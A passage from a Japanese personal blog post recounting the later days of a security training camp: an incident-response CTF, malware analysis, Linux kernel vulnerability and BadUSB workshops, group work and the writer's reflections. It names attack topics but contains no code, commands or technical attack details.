7週間にわたる事前課題で当日必要となる解析技術を学び,当日はある企業のPC・ネットワークに攻撃が入ったとの想定のもと,そのおよそ1か月分のデータが入った各PCのディスクイメージデータが渡され,CTF形式によって,インシデントレスポンスの手順にのっとりながら問題を解いていきました.事前課題をけっこうやってきましたが,いざディスクイメージだけを渡されるとまず何をすればよいか,どのツールを用いればよいか,どこにどんなデータが入っているかで迷いました.休憩をはさみながらA1A2でCTFが行われ,夕食後のA3には解説が行われ,それまでの結果を用いてどのような対策をとればこのインシデントは防げたのか検討しました.解説を聞いていると,答えを探す方法が事前学習のまんまであったり,また調査結果が他の解析結果にリンクしていたことがわかったりと,実際の業務にあたるにはもっともっと経験が必要だなと痛感したので,これから復習していきたいなと思いました.けっこう落ち込みました…

3日目

・朝食
この日から朝食待ち勢になり,6:25頃にレストランに着くようにしました.人間の睡眠の深浅のサイクルは90分というので,4日目~最終日を除いておよそ4時間半睡眠をしています.

・A4「IN-DEPTH STATIC MALWARE ANALYSIS」
事前課題では実質的にマルウェアのすべてを解析できるという静的解析を始めるための基礎や効率的にコードを読む方法を学習し,本番ではマルウェアの逆アセンブルコードを効率的に読んでみてその機能を明らかにしたり,静的解析の持つ課題を学びました.また,静的解析にかかわらず解析をする際の注意点や,マルウェアのトレンドなどについても学びました.僕は今まで大きいプログラムの逆アセンブルコードを読むことができなかったので,素早く読めるようになったときはかなり感動しました.そして今まで読んできたコードは簡単なもので,実際のマルウェアに使用されているコードに凝らされている工夫を学習したときは実力的に大きい壁を感じました.ところでin-depthは「徹底的な(に)」といった意味合いらしいです.

・E5「Linuxカーネル脆弱性入門」
カーネルについてほぼ何も知らない状態で受講しましたが,講義はカーネルとは何かというところから始まったので無理なく受講できました.カーネルソースコードを少し見たり,機能と仕組みが解説されたのち,脆弱性の紹介やそれを突くことを体験しました.後半は自分の理解が追い付かなかったのですが,講義後になってしまったもののなんとか実際に脆弱性を突くことに成功したので,これからも少しずつ触れていきたいなと思いました!

・会員企業のお仕事紹介(1回目)
3,4日目にはセキュリティキャンプを支えてくださる企業の方々による30分*2回*2日の「お仕事紹介」がありました.仕事ではどんなことをしているのか,やりがいは何か,子会社の場合は親会社との関係を聞けたりして新鮮でした.

・グループワーク(2回目)
チュータ,講師の方と交流しました.今まで話したことのなかったインフラ屋の方々ともお話させていただきましたが,どの方も使命感や不安からというよりは楽しかったからその方の分野の勉強をしているという方が多く,特にGMの上野さんはとても楽しそうで,自分もそうなりたいなと強く思いました.

・ホームルーム(1回目)
同じトラックのメンバーと交流を深めるために今年からできた時間らしく,控えめに言って神様な時間でした!!グループワーク終了後にトラック別に部屋に集まり,おのおののことをします.Aトラックでは今回は自己紹介と,名刺交換を含めた参加者やチュータの方々そして講師の方々と交流をしました.僕はA1~3で思ったような成果がでなくて悲しかったり,僕はこのまま就職までに平和に貢献できる実力が身につくのかととても不安なことがあったりしたので相談しましたが,講師の方々も若い時からずっとセキュリティについて学んでいたわけではなかったり,職を転々としていて今に行きついているようなこともあり,人生って予想以上になんだかなるものなんだなと感じました.また,インシデントレスポンスの一連の業務をどう勉強するかも教えていただきました.

4日目

・D6「組込みリアルタイムOSとIoTシステム演習 ~守って!攻めて!ロボット制御バトルで体験する組込みセキュリティ~」
組込みシステムについて触れるのは初めてでしたが,無理なく受講できました.事前課題ではオープンソースの組み込み向けリアルタイムOSなどを搭載する機器をサンプルコードによって動かしたり,組み込み機器の基礎や動作のしくみを解説する資料を読んだりしました(僕にとっては初めての知識が多く読み終わりませんでした).こちらの操作通りに動いてくれたときはうれしかったです!
当日は,リアルタイムOS等について復習を行った後,7分*2回の競技会を行いました.内容は,まずいくつかのグループにわかれ,自分のグループの機器をWebブラウザから操作し,決められた目的を達成します.または,相手の機器(やネットワーク全体)を攻撃し,相手が目的を達成できないように妨害します.僕のチームは,ソースコードのビルドの時にソースの変更内容が反映されないという某の不具合のためにあえなく撃沈して悲しい思いをしました.開始数秒でほとんどのチームの機器が動かない状態になり,攻撃の恐ろしさを感じました!!
この講義が終わるまでに組み込み機器の動作のしくみやプログラミングについて体験できたのはほんの一部だと思うので,機器を買って今後も続けていきたいなと思います!!

・E7「シリアル通信から学ぶBadUSB自作演習」
USBポートに刺すだけでキーボードの入力を行わせるというBadUSBを組み立てる講義です.はんだ付け以外は自分でできるものでした.BadUSBが完成したのち,参加者それぞれが自分のコードをBadUSBに書き込み,最後に発表会をしました.僕はある攻撃を行うものを作りましたが,Windowsをシャットダウンして場合によってはWindowsUpdateをさせるBadUSBや,逆にGoodなことをするBadUSBを作った方がいたりと,ここでも参加者の方々の発想はいいなと思いました.

・夕食
最後の夕食は決まっており,なかなか豪華だったかなと思います(ところでなぜ油も敷いてないところで焼き肉をさせたのだろうか).隣の方がジュニアの方で,お話させていただくと僕なんかよりずっとしっかりしてる!とおもいました.
f:id:verliezer93764:20180817175814j:plain

・グループワーク(3回目)
具体的に何をしていくかがまとまってきて,それについてどうかをチュータ,講師,会員企業の方々に相談しました.お仕事紹介のときには受けなかったある企業の方にメールでの相談やインターンに誘われたりと優しくさせていただいたので,後程連絡させていただきます!m(__)m

・グッズ争奪戦
毎年恒例の,協賛の企業などによる本やグッズ等の配布がありました.かなり目の前でサイン入り熱血本が取られてしまい悔しかったですが,GMの上野さんの本をいただき,その場でサインをいただきました.また,その際には激励のことばをかけてくださり本当にありがたかったです!パラパラ読んでみましたがかなり実務で役立ちそうなことが書いてあり,よかったと思いました.
f:id:verliezer93764:20180820121657j:plain
撮り忘れましたがさくらインターネットさんのチケットも含まれています.

・集まり
ある方がTwitter上でCTFなどをするコミュニティを作るので○○に来てほしいと発信されていたので,そこに行きました.最終的には二十人ほど集まり,まずはその方針を決めましたがその話はすぐに終わり,雑談タイムになりました.この雑談タイムが(まさに)時間がたつのを忘れるような楽しさでした.これをもっとはやくやりたかった,,と心の底から思いました.寝たのは2時ごろで,荷物をまとめたり,貸与PCから自分のPCに(移してもよい)データを写していました.そのためにUSBケーブルなどをキャンプに持参するといいですね!

最終日

・朝食
3時間睡眠で起きられました.普段は6:30から朝食を食べる勢力は10名ほどなんですが,この日は6名ほどでした.毎日朝食をともに食べた方とはこれでさらばか…と少し寂しくなりました.それからは部屋の整理と,上にあげたような部屋の撮影をしました.

・チェックアウト
8:00から8:20までにチェックアウトをします.あまり時間がないので荷物の整理は前日までにしたほうがいいです.

・グループワーク(最終日)
1時間ほどで,これからやっていくことを書きました.僕は今は何をやっているとかない(それを見つけるのがここに来た目的だったりする)ので他の方と比べ曖昧かなとは思いましたが,思っていることを書きました.

・昼食
これで最後か,と寂しい思いでした.特に前日の雑談がとても楽しく..昼食が終わったあと,ある方とエレベーターで止まらずに10階から1階あで降りられるかチャレンジをしたり,エレベーターのアルゴリズムを考えたりしました.
f:id:verliezer93764:20180818114633j:plain

・閉会式
各トラック代表者の方々が修了証と激励状を受け取ったり,色んな方からのお話があったのち,参加者全員に修了証と激励状が配られました.ああもう終わってしまうのか,と思いました.
f:id:verliezer93764:20180819092025j:plain

・帰り
仲が良かった方と別れたときは寂しかったですが,SECCONで会おうと(私が勝手に)約束しました.

おまけ

下の画像は初日に配られたデスクファンさんです.体積が大きいしうるさいしで扱いに苦労しました…
f:id:verliezer93764:20180819163412j:plain

最後に

セキュリティキャンプを通して,残念ながら他の方々のように何年も通じて具体的にすることは決めることができませんでした.しかしこのキャンプで最も心に残ったのは,みんな純粋に好きなことをしてプロになっているということと,人生はこれからなんとかなるということです.今後はとりあえず支援士試験と情報工学実験をひねりつぶし,全てのCTFのWrite-upを見たり,libcを読んだり,Linuxカーネルのソースを読んだり,組み込み機器で遊んだり,Micro Hardeningにも参加したいなと思います.あ,もちろん機械学習も頑張っていきます!また,4日目に作ったコミュニティでは今後も交流を続け,高めあっていきたいと思いました!
キャンプにはバグで参加することになってしまいましたが,結果的にはものすごい刺激を受けることができとてもよかったです!!